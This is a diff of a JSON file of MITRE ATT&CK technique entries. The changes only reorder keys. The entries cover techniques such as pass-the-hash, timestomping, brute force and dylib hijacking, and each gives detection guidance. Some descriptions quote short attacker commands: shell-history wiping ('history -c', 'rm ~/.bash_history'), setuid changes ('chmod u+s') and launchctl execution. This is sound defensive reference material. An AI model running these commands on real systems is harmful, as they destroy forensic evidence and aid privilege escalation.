- "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf",
- "http://www.aorato.com/labs/pass-the-hash/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1545,42 +1544,43 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1075",
+ "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf",
+ "http://www.aorato.com/labs/pass-the-hash/"
+ ],
+ "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff"
+ },
+ "value": "Pass the Hash"
},
{
"description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring",
- "value": "Clear Command History",
"meta": {
"mitre_data_sources": [
"Authentication logs",
"File monitoring"
],
- "uuid": "b344346f-1321-4639-abd0-df3c95f1c0b0",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1146"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1146"
+ ],
+ "uuid": "b344346f-1321-4639-abd0-df3c95f1c0b0"
+ },
+ "value": "Clear Command History"
},
{
"description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Timestomp",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1099",
- "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1595,43 +1595,41 @@
"Windows 8.1",
"Linux",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1099",
+ "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
+ ],
+ "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a"
+ },
+ "value": "Timestomp"
},
{
"description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root",
- "value": "Setuid and Setgid",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "8bf7a62e-e2a2-4f7b-94fb-eadcff06194f",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1166"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1166"
+ ],
+ "uuid": "8bf7a62e-e2a2-4f7b-94fb-eadcff06194f"
+ },
+ "value": "Setuid and Setgid"
},
{
"description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs\n\nContributors: John Strand",
- "value": "Brute Force",
"meta": {
"mitre_data_sources": [
"Authentication logs"
],
- "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1110",
- "http://www.blackhillsinfosec.com/?p=4645",
- "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
- "https://en.wikipedia.org/wiki/Password%20cracking"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1648,12 +1646,19 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1110",
+ "http://www.blackhillsinfosec.com/?p=4645",
+ "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
+ "https://en.wikipedia.org/wiki/Password%20cracking"
+ ],
+ "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd"
+ },
+ "value": "Brute Force"
},
{
"description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters",
- "value": "Modify Registry",
"meta": {
"mitre_data_sources": [
"Windows Registry",
@@ -1661,12 +1666,6 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1112",
- "https://technet.microsoft.com/en-us/library/cc754820.aspx",
- "https://technet.microsoft.com/en-us/library/cc732643.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1680,23 +1679,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1112",
+ "https://technet.microsoft.com/en-us/library/cc754820.aspx",
+ "https://technet.microsoft.com/en-us/library/cc732643.aspx"
+ ],
+ "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4"
+ },
+ "value": "Modify Registry"
},
{
"description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd.[[Citation: Antiquated Mac Malware]]\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring",
- "value": "Screen Capture",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
"File monitoring"
],
- "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1113",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1713,12 +1713,17 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1113",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
+ ],
+ "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688"
+ },
+ "value": "Screen Capture"
},
{
"description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters",
- "value": "AppleScript",
"meta": {
"mitre_data_sources": [
"API monitoring",
@@ -1726,40 +1731,40 @@
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "5c4c4c35-d77a-4f2d-88b6-7da63e1f0f06",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1155",
"https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "5c4c4c35-d77a-4f2d-88b6-7da63e1f0f06"
+ },
+ "value": "AppleScript"
},
{
"description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters",
- "value": "Launchctl",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "bff9f35b-6231-450f-b657-4745870a9462",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1152",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "bff9f35b-6231-450f-b657-4745870a9462"
+ },
+ "value": "Launchctl"
},
{
"description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata",
- "value": "Indicator Removal from Tools",
"meta": {
"mitre_data_sources": [
"Process use of network",
@@ -1768,10 +1773,6 @@
"Anti-virus",
"Binary file metadata"
],
- "uuid": "00d0b012-8a03-410e-95de-5826bf542de6",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1066"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1788,43 +1789,41 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1066"
+ ],
+ "uuid": "00d0b012-8a03-410e-95de-5826bf542de6"
+ },
+ "value": "Indicator Removal from Tools"
},
{
"description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]].\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root",
- "value": "Dylib Hijacking",
"meta": {
"mitre_data_sources": [
"File monitoring"
],
- "uuid": "0375badc-b2da-4438-b0c5-1e6c6b3285a3",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1157",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "0375badc-b2da-4438-b0c5-1e6c6b3285a3"
+ },
+ "value": "Dylib Hijacking"
},
{
"description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to [[Discovery]] actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nContributors: Stefan Kanthak",
- "value": "Change Default File Association",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "68c96494-1a50-403e-8844-69a6af278c68",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1042",
- "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
- "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1838,32 +1837,38 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1042",
+ "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
+ "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
+ ],
+ "uuid": "68c96494-1a50-403e-8844-69a6af278c68"
+ },
+ "value": "Change Default File Association"
},
{
"description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]]. \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring",
- "value": "Space after Filename",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
- "uuid": "2258e6a4-3281-4244-947b-4323a01a30a7",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1151",
- "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1151",
+ "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
+ ],
+ "uuid": "2258e6a4-3281-4244-947b-4323a01a30a7"
+ },
+ "value": "Space after Filename"
},
{
"description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
- "value": "Email Collection",
"meta": {
"mitre_data_sources": [
"Authentication logs",
@@ -1871,10 +1876,6 @@
"Process monitoring",
"Process use of network"
],
- "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1114"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1888,52 +1889,52 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1114"
+ ],
+ "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f"
+ },
+ "value": "Email Collection"
},
{
"description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "System Information Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Linux",
+ "Windows 10",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1082"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Linux",
- "Windows 10",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1"
+ },
+ "value": "System Information Discovery"
},
{
"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "System Network Connections Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1049"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1950,12 +1951,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1049"
+ ],
+ "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475"
+ },
+ "value": "System Network Connections Discovery"
},
{
"description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Two-Factor Authentication Interception",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -1974,28 +1979,22 @@
"MacOS",
"OS X"
],
- "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1111",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
"https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf"
- ]
- }
+ ],
+ "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49"
+ },
+ "value": "Two-Factor Authentication Interception"
},
{
"description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]\n\nAdditional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nContributors: Stefan Kanthak",
- "value": "Execution through API",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring"
],
- "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1106",
- "http://msdn.microsoft.com/en-us/library/ms682425",
- "https://skanthak.homepage.t-online.de/verifier.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2009,25 +2008,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1106",
+ "http://msdn.microsoft.com/en-us/library/ms682425",
+ "https://skanthak.homepage.t-online.de/verifier.html"
+ ],
+ "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670"
+ },
+ "value": "Execution through API"
},
{
